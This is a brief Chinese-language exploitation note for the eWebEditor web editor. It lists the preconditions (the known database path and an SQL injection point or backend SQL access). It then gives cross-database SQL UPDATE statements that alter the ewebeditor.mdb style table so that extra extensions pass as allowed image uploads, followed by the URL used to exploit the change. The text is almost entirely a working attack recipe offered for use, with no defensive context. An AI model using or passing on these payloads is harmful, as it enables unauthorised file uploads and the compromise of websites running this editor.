条件:1、知道ewebeditor数据库的绝对地址
2、存在注入,或者后台可执行sql语句。
跨库注入:
update eWebEditor_Style in ‘E:\webhost\xxxxxxxx\www\admin\Editor\db\ewebeditor.mdb’ set s_imageext=’gif|jpg|jpeg|bmp|aasasa’ where s_id=40
或者
update eWebEditor_Style in ‘E:\webhost\xxxxxxxx\www\admin\Editor\db\ewebeditor.mdb’ set s_imageext=’gif|jpg|jpeg|bmp|aasasa’
利用:
/ewebeditor.asp?id=content1&style=standard